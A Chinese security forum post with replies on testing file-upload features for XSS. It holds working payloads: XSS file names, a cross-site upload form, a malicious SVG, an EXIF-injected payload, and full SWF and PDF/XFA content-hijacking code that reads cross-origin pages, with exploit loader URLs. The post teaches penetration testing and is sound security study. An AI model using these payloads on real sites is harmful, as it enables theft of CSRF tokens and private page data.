发表主题 回复主题
  • 4318阅读
  • 13回复

[Web安全]从XSSer的角度测试上传文件功能

— 本帖被 笑然 执行加亮操作(2016-12-16) —
0x00 前言

最近测试客户的站点时发现了一些有趣的案例和大家分享一下。如有错误还希望不吝赐教,我将及时修正。

0x01 DOM API的错误使用

上传文件名
  1. <img src=x onerror=alert(1)>.png
虽然这种案例已经不多了,但偶尔还是可以在上传图片的预览功能中看到类似的问题。开发者会在第一次输出文件名时使用htmlspecialchars()之类的函数对一些具有危害的字符进行HTML实体编码的转换。

第一次输出
  1. &lt ;img src=x onerror=alert(1)&gt ;.png

但由于在二次输出时使用了错误的DOM API导致XSS漏洞的产生。

第二次输出
  1. <img src=x onerror=alert(1)>.png
漏洞代码:

修正前
  1. $('#modal-file-name').html(this.mfFile.name)
修正后
  1. $('#modal-file-name').text(this.mfFile.name)
这种问题self-XSS的情况居多。发现漏洞时可以先看看有没有CSRF防御措施,CSRF防御机制是否可以绕过。如果可以,可以使用如下的EXP在IE下实现跨域的文件上传:
  1. <meta charset=utf-8>
  2. <form enctype="multipart/form-data" accept-charset="utf-8" action="http://localhost/index.php?m=attachment&c=attachments&a=upload&module=content&catid=6&dosubmit=1&CKEditor=content&CKEditorFuncNum=0&langCode=en" method="POST">
  3. <textarea name='upload"; filename="<img src=x onerror=alert(1)>hacked.txt'>233</textarea><input type="submit" value="submit" />


0x02 默认允许上传SVG导致XSS


最近测试项目的当中Ruby On Rails的项目也不占少数。其中多个项目的共同之处就是都会允许svg文件的上传。但尴尬的是,有时候你上传的文件会变样。

上传前:ImageTragick.svg
  1. <?xml version="1.0" encoding="UTF-8" standalone="no"?>
  2. <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  3. <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="alert(document.domain)">
  4. <image xlink:href="http://example.com/SSRF/hackme" x="0" y="0" height="640px" width="480px"/>
  5. </svg>


上传后:https://example.com/avatar/system/users/avatars/100/002/608/thumb/ImageTragick.svg
  1. <svg width="30" height="23">
  2. ~省略~
  3. <circle cx="0" cy="0" r="1" fill="white"/><circle cx="1" cy="0" r="1" fill="white"/>
  4. ~省略~
  5. </svg>



这个时候不要慌,抱紧海贼。因为对方很有可能用version插件保留了原始的svg文件。把URL中的thumb改成orginal,pwn!

原始文件
  1. https://example.com/avatar/system/users/avatars/100/002/608/original/ImageTragick.svg


0x03 这个输入点藏的有点深之远程图片的mime


这也是个比较奇葩的案例。在测试下载远程图片的功能时发现程序会将远程图片response时的content-type和文件名存储到数据库当中。
当需要访问被远程下载的文件时,程序会将数据库中的原始的mime类型传入到response时的content-type当中。

在实际操作中,我们只需要在自己服务器的中间上做些手脚让所有的图片文件都以text/html的方式去解析。设置完后再通过客户站的远程图片下载功能把图片下载到目标服务器。
由于content-type最终会被设置成text/html,所以即便扩展名是jpg/gif/png文件也依然会被当作html来解析。

如果有对图片的内容,magicbyte等进行验证处理,可以尝试把html payload插入到exif header当中来绕过验证。
  1. exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ test.jpeg

0x04 IE的content sniffing导致存储型XSS


这也是个不常见但很尴尬的问题。我要说的自然不是IE6/7/8的老问题。而是最新的IE,当然也包括Edge。
简单的来说,通过IE/EDGE来访问目标站点上的文件时,如果文件response时的content-type如下,就会试图对文件内容进行sniffing试着去寻找正确的解析方式
  1. application/base64
  2. application/java
  3. application/octet-stream
  4. application/postscript
  5. application/x-cdf
  6. application/x-compressed
  7. application/x-netcdf
  8. application/x-zip-compressed
  9. audio/basic
  10. audio/wav
  11. audio/x-aiff
  12. multipart/mixed
  13. multipart/x-mixed-replace
  14. text/cache-manifest
  15. text/richtext
  16. text/webviewhtml
  17. video/avi
  18. video/mpeg
  19. video/x-msvideo
好吧,我们是有了很长却不明觉厉的表。但是什么时候response时的content-type可能会设置成上述的某一种呢?我们来看看nginx官方网站是怎么说的。

https://www.nginx.com/resources/wiki/start/topics/examples/full/

在mime_types中我们可以看到,这样的内容:

  1. types {
  2.   text/html                             html htm shtml;
  3.   text/css                              css;
  4.   text/xml                              xml rss;
  5.   image/gif                             gif;
  6.   image/jpeg                            jpeg jpg;
  7.   application/x-javascript              js;
  8.   text/plain                            txt;
  9.   text/x-component                      htc;
  10.   text/mathml                           mml;
  11.   image/png                             png;
  12.   image/x-icon                          ico;
  13.   image/x-jng                           jng;
  14.   image/vnd.wap.wbmp                    wbmp;
  15.   application/java-archive              jar war ear;
  16.   application/mac-binhex40              hqx;
  17.   application/pdf                       pdf;
  18.   application/x-cocoa                   cco;
  19.   application/x-java-archive-diff       jardiff;
  20.   application/x-java-jnlp-file          jnlp;
  21.   application/x-makeself                run;
  22.   application/x-perl                    pl pm;
  23.   application/x-pilot                   prc pdb;
  24.   application/x-rar-compressed          rar;
  25.   application/x-redhat-package-manager  rpm;
  26.   application/x-sea                     sea;
  27.   application/x-shockwave-flash         swf;
  28.   application/x-stuffit                 sit;
  29.   application/x-tcl                     tcl tk;
  30.   application/x-x509-ca-cert            der pem crt;
  31.   application/x-xpinstall               xpi;
  32.   application/zip                       zip;
  33.   application/octet-stream              deb;
  34.   application/octet-stream              bin exe dll;
  35.   application/octet-stream              dmg;
  36.   application/octet-stream              eot;
  37.   application/octet-stream              iso img;
  38.   application/octet-stream              msi msp msm;
  39.   audio/mpeg                            mp3;
  40.   audio/x-realaudio                     ra;
  41.   video/mpeg                            mpeg mpg;
  42.   video/quicktime                       mov;
  43.   video/x-flv                           flv;
  44.   video/x-msvideo                       avi;
  45.   video/x-ms-wmv                        wmv;
  46.   video/x-ms-asf                        asx asf;
  47.   video/x-mng                           mng;
  48. }

也就是说content-type实际上是根据扩展名来决定的。举个例子,如果目标站允许上传iso文件,且没有设置X-Content-Type-Options=nosniff头,我们就可以上传内容为<img src=x onerror=alert(1)>的iso文件。只要目标用户通过IE/EDGE对目标进行访问,文件就以text/html的形式解析。

0x05 尴尬的content-disposition头

这里有两个问题。一个是关于safari的,另一个是关于PHP的。

在相对较新的PHP版本当中,作为PHP的新特性如果发生了CRLF注入,目标头就会被移除。这里的问题是,有些程序员喜欢把上传文件名给改了。然后把原始文件名保存到DB当中。如果存储到DB当中文件名包含了0x0D/0x0A/0x00其中的任何一个且在使用content-disposition头对上传的文件进行强制下载时,将原始文件名赋值到了file=""处,那么就会产生一个存储型的CRLF漏洞。作为结果,在新的PHP版本当中content-disposition头会被移除。如果content-disposition是你主要的防线之一,抱歉文件又有可能被解析了。

具体代码可以参考我之前的这条twit:https://twitter.com/mramydnei/status/782324732897075200



以上问题可以在PHP5.6.17-3可复现。

还有一个就是手机端的safari并不存在下载附件这种功能的问题。如果你允许上传htm文件,但是设置了nosniff,设置了content-disposition那在PC浏览器的世界里不会有任何问题。文件不会被解析,没有XSS。
手机版的safari虽然在一次修复过后已经禁用了这种情况下的JS执行,但是HTML依旧会被解析。

  1. <?php
  2. header("Content-Type:text/html");
  3. header('Content-Disposition: attachment; filename="download.htm"');
  4. header("X-Content-Type-Options: nosniff");
  5. ?>
  6. <a href=javascript:alert(1)>clickme</a>
  7. <script>alert(1)</script>

以上内容在最新的ios for safari 10.0.2可复现。
BTW,ios8.4不但会无视Content-Disposition头,还会执行JS。具体是从哪个版本开始不能直行JS的我也不太清楚。

0x06 图片只检测了扩展名却没有检测magicbyte

这个是老问题了。可以上传扩展名为png/gif/jpg的swf文件,再用irsdl写的exploit直接搞起。
flash源码:

  1. package com.powerflasher.SampleApp {
  2.     import flash.external.ExternalInterface;
  3.     import flash.display.Sprite;
  4.     import flash.display.Sprite;
  5.     import flash.events.Event;
  6.     import flash.net.URLLoader;
  7.     import flash.net.URLRequest;
  8.     import flash.text.TextField;
  9.     import flash.text.TextFieldAutoSize;
  10.     import flash.xml.*;
  11.     import flash.events.IOErrorEvent;
  12.     import flash.events.*;
  13.     import flash.net.*;
  14.     /**
  15.      * @author User
  16.      */
  17.     
  18.      public class CrossDomainDataHijack extends Sprite {
  19.         
  20.         private var loader:URLLoader;
  21.         public function CrossDomainDataHijack() {
  22.             loader = new URLLoader();
  23.             configureListeners(loader);
  24.             var target:String = root.loaderInfo.parameters.input;
  25.             
  26.             var request:URLRequest = new URLRequest(target);
  27.             try {
  28.                 loader.load(request);
  29.             } catch (error:Error) {
  30.                 sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
  31.             }
  32.         }
  33.         private function configureListeners(dispatcher:IEventDispatcher):void {
  34.             dispatcher.addEventListener(Event.COMPLETE, completeHandler);
  35.             dispatcher.addEventListener(Event.OPEN, openHandler);
  36.             dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
  37.             dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
  38.             dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
  39.             dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
  40.         }
  41.         private function completeHandler(event:Event):void {
  42.             var loader:URLLoader = URLLoader(event.target);
  43.             //trace("completeHandler: " + loader.data);
  44.             sendDatatoJS("completeHandler: " + loader.data);
  45.         }
  46.         private function openHandler(event:Event):void {
  47.             //trace("openHandler: " + event);
  48.             sendDatatoJS("openHandler: " + event);
  49.         }
  50.         private function progressHandler(event:ProgressEvent):void {
  51.             //trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
  52.             sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
  53.         }
  54.         private function securityErrorHandler(event:SecurityErrorEvent):void {
  55.             //trace("securityErrorHandler: " + event);
  56.             sendDatatoJS("securityErrorHandler: " + event);
  57.         }
  58.         private function httpStatusHandler(event:HTTPStatusEvent):void {
  59.             //trace("httpStatusHandler: " + event);
  60.             sendDatatoJS("httpStatusHandler: " + event);
  61.         }
  62.         private function ioErrorHandler(event:IOErrorEvent):void {
  63.             //trace("ioErrorHandler: " + event);
  64.             sendDatatoJS("ioErrorHandler: " + event);
  65.         }
  66.         
  67.         private function sendDatatoJS(data:String):void{
  68.             trace(data);
  69.             ExternalInterface.call("sendToJavaScript", data);
  70.         }
  71.     }
  72.     
  73.     
  74. }
Exploit:

http://0me.me/demo/SOP/CrossDomainDataHijackHelper.html

作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。

0x07 允许上传pdf,验证了magicbyte 却没有设置"Content-Disposition: Attachment"和"X-Content-Type-Options: nosniff"

这个有些限制。IE Only+,默认的PDF浏览器必须是Adobe Reader。
PDF源码:

  1. % Created by Soroush Dalili (@irsdl)
  2. % Released under AGPL (see LICENSE for more information).
  3. % Version 1.2
  4. %PDF-1.1
  5. 1 0 obj
  6. <<
  7.     /Pages 2 0 R % Set to the Kids object
  8.     /AcroForm
  9.     <<
  10.     /Fields[3 0 R] % Set to the text field
  11.     /XFA 5 0 R % Set to the XDP form
  12.     >>
  13.     /OpenAction
  14.         <<
  15.         /S /JavaScript
  16.         /JS(
  17.             // And here fun begins... chamber of JavaScript god.
  18.             var onloadInterval;
  19.             var myHostContainer;
  20.             var target="";
  21.             var postData="";
  22.             this.getField("mydata").multiline=true;
  23.             
  24.             function onErrorFunc(e, customMSG) {
  25.                 var errMessage = customMSG + " -- Error:" + e.toString();
  26.                 // We like to alert this and that! we don't have enough money to pay for a fancy debugger!
  27.                 app.alert(errMessage);
  28.                 logIt(errMessage,"1");
  29.             }
  30.             
  31.             function onMSGHandlerErrorFunc(e) {
  32.                 onErrorFunc(e, "Error in messageHandler.");
  33.             }
  34.             
  35.             function logIt(strMessage,strType){
  36.                 //this.getField("mydata").value += strMessage; // I cannot do this when I have XFA?
  37.                 // strType = 1 -> error!
  38.                 if(myHostContainer!=null && target!=""){
  39.                     myHostContainer.postMessage([strMessage,strType]);
  40.                 }
  41.             }
  42.             
  43.             try{
  44.                 this.disclosed = true; // To tell HTML that I'm all yours! no not really! just shares a function for onMessage!
  45.                 if (this.external && this.hostContainer) {
  46.                     function onMessageFunc( stringArray ) {
  47.                         try{
  48.                             target = stringArray[0];
  49.                             if(stringArray[1])
  50.                                 postData = stringArray[1];
  51.                             else
  52.                                 postData = "";
  53.                             
  54.                             // We have our target and everything set-up! If I don't delete my PDF file accidentally again, it should work fine!
  55.                             var contents = "";
  56.                             if(postData!="")
  57.                                 contents = objMy_fc_Form.func.Post(target,postData);
  58.                             else
  59.                                 contents = objMy_fc_Form.func.Get(target);
  60.                             
  61.                             if(contents==""){
  62.                                 contents = "Target page was not accessible."; // I'm so sorry master!
  63.                                 logIt(contents,"1");
  64.                             }else{
  65.                                 contents = contents; // This is the apple! I want to eat it now! He said...
  66.                                 logIt(contents,"0");
  67.                             }
  68.                             
  69.                         }
  70.                         catch(e){
  71.                             onErrorFunc(e , "Error in connecting to HTML section");
  72.                         }
  73.                     }
  74.                     
  75.                     try {
  76.                         if(!this.hostContainer.messageHandler);
  77.                         this.hostContainer.messageHandler = new Object();
  78.                         this.hostContainer.messageHandler.myDoc = this;
  79.                         this.hostContainer.messageHandler.onMessage = onMessageFunc;
  80.                         //this.hostContainer.messageHandler.onError = onMSGHandlerErrorFunc;
  81.                         this.hostContainer.messageHandler.onDisclose = function(){
  82.                             return true;
  83.                         };
  84.                     }
  85.                     catch(e){
  86.                         onErrorFunc(e, "Error in setting messageHandler attributes.");
  87.                     }
  88.                     
  89.                     function clearIntervals(){
  90.                         app.clearInterval(onloadInterval);
  91.                     }
  92.                     
  93.                     if(this.hostContainer) {
  94.                         try{
  95.                             // To announce that PDF is ready for action!
  96.                             myHostContainer = this.hostContainer;
  97.                             onloadInterval = app.setInterval("this.hostContainer.postMessage(['loaded','1']);",500);
  98.                             app.setTimeOut("clearIntervals();",5000); // Keep sending the message for 5 seconds to make sure HTML will receive it
  99.                         }
  100.                         catch(e){
  101.                             onErrorFunc(e, "Error in telling HTML about PDF loading!");
  102.                         }
  103.                     }
  104.                 }
  105.             }catch(e){
  106.                 onErrorFunc(e, "Error somewhere in the code!");
  107.             }
  108.         )
  109.         >>
  110.     /Type /Catalog
  111. >>
  112. endobj
  113. 2 0 obj
  114. <<
  115.     /Kids[
  116.     <<
  117.         /Parent 2 0 R
  118. %        /Contents[10 0 R] % For the content
  119.         /Annots 4 0 R % Set to the annotation which points to the field - I needed this to show the text box
  120.     >>
  121.     ]
  122.     /Resources
  123.     <<
  124.         /ProcSet [ /PDF /Text ]
  125.     >>
  126. >>
  127. 3 0 obj<<
  128.         /Rect[0 0 800 800]
  129.         /Subtype/Widget
  130.         /T(mydata)        % this is the name
  131.         /V(Hello World from PDF!)  % this is the value
  132.         /Type
  133.         /Annot
  134.         /FT
  135.         /Tx
  136.         /Subtype
  137.         /Widget
  138.         >>
  139. endobj
  140. 4 0 obj[3 0 R]
  141. endobj
  142. % My XDP Form
  143. % Interaction between JavaScript and FormCalc
  144. % Got the idea from: blogs.adobe.com/formfeed/files/formfeed/fragments/scFormCalc.xdp and
  145. % http://blogs.adobe.com/formfeed/2009/02/calling_formcalc_functions_fro.html
  146. 5 0 obj <<>>
  147. stream
  148. <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  149. <config><present><pdf><interactive>1</interactive></pdf></present></config>
  150. <template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
  151.    <?formServer defaultPDFRenderFormat acrobat9.0static?>
  152.    <subform name="myXFAForm" locale="en_US" layout="tb">
  153.       <pageSet>
  154.          <pageArea>
  155.             <contentArea x="0.25in" y="0.25in" w="8in" h="10.5in"/>
  156.             <medium stock="letter" short="8.5in" long="11in"/>
  157.          </pageArea>
  158.       </pageSet>
  159.       <subform access="readOnly" h="19.05mm" name="fc" w="141.41mm">
  160.          <variables>
  161.             <script contentType="application/x-javascript" name="func">
  162.                 var objDoc=-1;            
  163.                 /**
  164.                  * This script object contains a series of functions
  165.                  * that redirect their input to the corresponding formcalc
  166.                  * functions.
  167.                  * If you want to call these functions from an initialization script,
  168.                  * be sure to place the fc subform at the front of the template. <br/>
  169.                  * Version 2: Added Get().  Use execEvent("enter") instead of the calculate event.
  170.                  * Calculate was introducing un-needed dependency tracking.
  171.                  */
  172.                 var oVersionInfo = {
  173.                     identifier:    "FormCalcFromJavaScript",
  174.                     assetType:       "fragment",
  175.                     description:   "Support for FormCalc functions: Format(), Parse(), WordNum(), Uuid(), UnitValue(), Get()",
  176.                     currentVersion: 2
  177.                 };
  178.                 /*global F P1 P2 NullValue ResultString */
  179.                 /**
  180.                  * Format a value based on a picture
  181.                  * @param vPicture - the picture clause
  182.                  * @param vValue - The value to format
  183.                  * @return the formatted value. Empty string if the format fails.
  184.                  */
  185.                 function Format(vPicture, vValue)
  186.                 {
  187.                     F.value = "Format";
  188.                     P1.value = vPicture;
  189.                     P2.value = vValue;
  190.                     NullValue.value = vValue === null;
  191.                     this.execEvent("enter");
  192.                     return ResultString.value;
  193.                 }
  194.                 /**
  195.                  * Parse a value based on a picture
  196.                  * @param vPicture - the picture clause
  197.                  * @param vValue - The value to parse
  198.                  * @return the raw/canonical value. Empty string if the parse fails.
  199.                  */
  200.                 function Parse(vPicture, vValue)
  201.                 {
  202.                     F.value = "Parse";
  203.                     P1.value = vPicture;
  204.                     P2.value = vValue;
  205.                     this.execEvent("enter");
  206.                     return ResultString.value;
  207.                 }
  208.                 /**
  209.                  * Convert a number into words.  Note that currently only English is supported.
  210.                  * @param vInputValue
  211.                  * @return the value expressed as words.
  212.                  */
  213.                 function WordNum(vInputValue)
  214.                 {
  215.                     F.value = "WordNum";
  216.                     // Make sure we convert all numeric input values to string
  217.                     // all parameters to formcalc functions are strings
  218.                     P1.value = vInputValue.toString();
  219.                     this.execEvent("enter");
  220.                     return ResultString.value;
  221.                 }
  222.                 /**
  223.                  * Return a Universally Unique Identifier (UUID) string.
  224.                  * @param vN1 identifies the format of UUID string requested:<br/>
  225.                  * if the value is 0, the returned UUID string will only contain hex octets.<br/>
  226.                  * if the value is 1, the returned UUID string will contain dash characters separating the sequences of hex octets, at fixed positions.
  227.                  * @return the uuid value string
  228.                  */
  229.                 function Uuid(vN1)
  230.                 {
  231.                     F.value = "Uuid";
  232.                     P1.value = vN1.toString();
  233.                     this.execEvent("enter");
  234.                     return ResultString.value;
  235.                 }
  236.                 /**
  237.                  * Returns the value of a unitspan after an optional unit conversion.
  238.                  * A unitspan string consist of a number immediately followed by a unit name.
  239.                  * Recognized unit names include:in, mm, cm, pt
  240.                  * @param vMeasurement -- the measurement string value
  241.                  * @param vUnits - the units to convert to
  242.                  * @return the numeric value in the requested units
  243.                  */
  244.                 function UnitValue(vMeasurement, vUnits)
  245.                 {
  246.                     F.value = "UnitValue";
  247.                     P1.value = vMeasurement;
  248.                     P2.value = vUnits;
  249.                     this.execEvent("enter");
  250.                     // cast return value to the expected type.
  251.                     return parseFloat(ResultString.value);
  252.                 }
  253.                 /**
  254.                  * Download the contents of the given URL.
  255.                  * @param vAddress -- the requested URL
  256.                  * @return the contents of the URL.
  257.                  */
  258.                 function Get(vAddress)
  259.                 {
  260.                     F.value = "Get";
  261.                     P1.value = vAddress;
  262.                     this.execEvent("enter");
  263.                     return ResultString.value;
  264.                 }
  265.                 
  266.                 /**
  267.                  * Download the contents of the given URL.
  268.                  * @param vAddress -- the requested URL
  269.                  * @param vContent -- POST data
  270.                  * @return the contents of the URL.
  271.                  */
  272.                 function Post(vAddress,vContent)
  273.                 {
  274.                     F.value = "Post";
  275.                     P1.value = vAddress;
  276.                     P2.value = vContent;
  277.                     this.execEvent("enter");
  278.                     return ResultString.value;
  279.                 }
  280.                 
  281.                 function Test(){
  282.                     //setTimeOut('app.alert(this.getField("mydata"))',3000);
  283.                     //app.alert(app.getField);
  284.                     return -1;
  285.                 }
  286.         </script>
  287.         <?templateDesigner expand 1?></variables>
  288.         <bind match="none"/>
  289.         <event activity="initialize" name="event__initialize">
  290.             <script contentType="application/x-javascript">
  291.                 // Define all the variables needed to pass parameters to/from the FormCalc functions
  292.                 /*global fc */
  293.                 
  294.                 if (fc.variables.nodes.namedItem("F") === null) {
  295.                     this.variables.nodes.append(xfa.form.createNode("text", "F"));
  296.                     this.variables.nodes.append(xfa.form.createNode("text", "P1"));
  297.                     this.variables.nodes.append(xfa.form.createNode("boolean", "NullValue"));
  298.                     this.variables.nodes.append(xfa.form.createNode("text", "P2"));        
  299.                     this.variables.nodes.append(xfa.form.createNode("text", "ResultString"));    
  300.                     this.variables.nodes.append(xfa.form.createNode("text", "P3"));    
  301.                     this.variables.nodes.append(xfa.form.createNode("text", "P4"));    
  302.                     this.variables.nodes.append(xfa.form.createNode("text", "P5"));                        
  303.                 }
  304.                 
  305.                 // Record this for now as JavaScript god may not send us a better fruit! Adam said!
  306.                 fc.func.objDoc=event.target;
  307.                 
  308.                 // We need to send this up where JavaScript god can use it! ;)
  309.                 event.target.objMy_fc_Form = fc;
  310.                 
  311.             </script>
  312.          </event>
  313.          <event activity="enter" name="event__enter">
  314.             <script contentType='application/x-formcalc'>
  315.                 ; execute the requested function based on the input
  316.                 ; request parameters
  317.                 if (F == "WordNum") then
  318.                     ResultString = WordNum(P1)
  319.                     
  320.                 elseif (F == "Parse") then
  321.                     ResultString = Parse(P1, P2)
  322.                     
  323.                 elseif (F == "Format") then
  324.                     if (NullValue) then
  325.                         ResultString = Format(P1, null)
  326.                     else
  327.                         ResultString = Format(P1, P2)
  328.                     endif
  329.                     
  330.                 elseif (F == "Uuid") then
  331.                     ResultString = Uuid(P1)
  332.                     
  333.                 elseif (F == "UnitValue") then
  334.                     ResultString = UnitValue(P1, P2)
  335.                 elseif (F == "Get") then
  336.                     ResultString = Get(P1)
  337.                     
  338.                 elseif (F == "Post") then
  339.                     ResultString = Post(P1, P2)
  340.                     ; POST in FormCalc can accept more inputs such as additional headers!
  341.                     ; example: Post(P1, P2, "application/x-www-form-urlencoded", "utf-8", "Referer: " + P1);
  342.                 else
  343.                     ResultString = ""
  344.                 endif
  345.             </script>
  346.          </event>
  347.          <?templateDesigner expand 1?>
  348.          <?templateDesigner isFragment yes?>
  349.          <?templateDesigner fragmentTitle scFormCalc?>
  350.          <?templateDesigner fragmentDescription Allow access to FormCalc built in functions from JavaScript?>
  351.        </subform>
  352.    </subform>
  353.    <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.8/?>
  354.    <?templateDesigner FormTargetVersion 28?>
  355.    <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
  356.    <?templateDesigner Zoom 56?></template>
  357. </xdp:xdp>
  358. endstream
  359. endobj
  360. 6 0 obj
  361. <<
  362. /Producer (@irsdl)
  363. /Subject (Sec test)
  364. /Title (Sec test)
  365. /Author (root)
  366. /Keywords (Sec test)
  367. >>
  368. endobj
  369. % The following object is disabled which could be used in the content
  370. %10 0 obj
  371. %<<
  372. %>>
  373. %stream
  374. %    BT/default 10 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET
  375. %endstream
  376. %endobj
  377. trailer
  378. <<
  379.     /Size 8
  380.     /ID [ (irsdl) (MyfancyPDF) ]
  381.     /Root 1 0 R
  382.     /Info 6 0 R
  383. >>
Exploit:

https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://15.rs/ContentHijacking/objects/ContentHijacking.pdf&objtype=pdf&target=https://0me.me/&postdata=param1=foobar&logmode=all&regex=owasp.*&isauto=1

作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。

Thanks for you time!

如需要转载,请先联系先知技术社区授权;未经授权请勿转载。











本帖最近评分记录: 1 条评分 人民币 +800
r4bb1t_ 人民币 +800 - 2016-11-03
</textarea>test'"><a>a\
级别: Master
只看该作者 沙发  发表于: 2016-11-03
海贼是谁?
只看该作者 板凳  发表于: 2016-11-03
这个时候不要慌,抱紧海贼
只看该作者 地板  发表于: 2016-11-03
Re【原创】【独家】从XSSer的角度测试上传文件功能
养鸡场老板说必须顶,不然以后没有
级别: Master
只看该作者 4楼 发表于: 2016-11-07
只看该作者 5楼 发表于: 2016-11-08
Re【原创】【独家】从XSSer的角度测试上传文件功能
  很好的文章呦
只看该作者 6楼 发表于: 2016-11-10
Re【原创】【独家】从XSSer的角度测试上传文件功能
很好的文章 解锁了很多新的姿势
级别: Master
只看该作者 7楼 发表于: 2016-11-11
回 6楼(аdmin) 的帖子
我想要你的账号...
只看该作者 8楼 发表于: 2016-11-14
引用
引用第1楼笑然于2016-11-03 12:39发表的  :
海贼是谁?   [url=https://xianzhi.aliyun.com/forum/job.php?action=topost&tid=224&pid=269][/url]

我也有同样的问题,为什么要抱紧海贼?
只看该作者 9楼 发表于: 2016-12-01
Re从XSSer的角度测试上传文件功能
“0x04 IE的content sniffing导致存储型XSS” 这一章我在Edge和IE11下测试失败。
Edge 25.10586
[attachment=1543]


测试结果(Edge):
无渲染 - 后缀:.html,    content-type: application/octet-stream,    X-Content-Type-Options: 无 (IE6也无渲染)
直接下载 - 后缀:.html,    content-type: 无,        X-Content-Type-Options: 无
直接下载 - 后缀:.html,    content-type: 无,        X-Content-Type-Options: nosniff
无渲染 - 后缀:.txt,    content-type: application/octet-stream,    X-Content-Type-Options: 无
直接下载 - 后缀:.txt,    content-type: 无,        X-Content-Type-Options: 无
无渲染 - 后缀:无,    content-type: application/octet-stream,    X-Content-Type-Options: 无
直接下载 - 后缀:无,    content-type: 无,        X-Content-Type-Options: 无

Edge貌似只认content-type, 反而chrome和IE6对没有content-type和X-Content-Type-Options的会根据内容来显示

发表主题 回复主题
« 返回列表
«12»
共2页
上一主题下一主题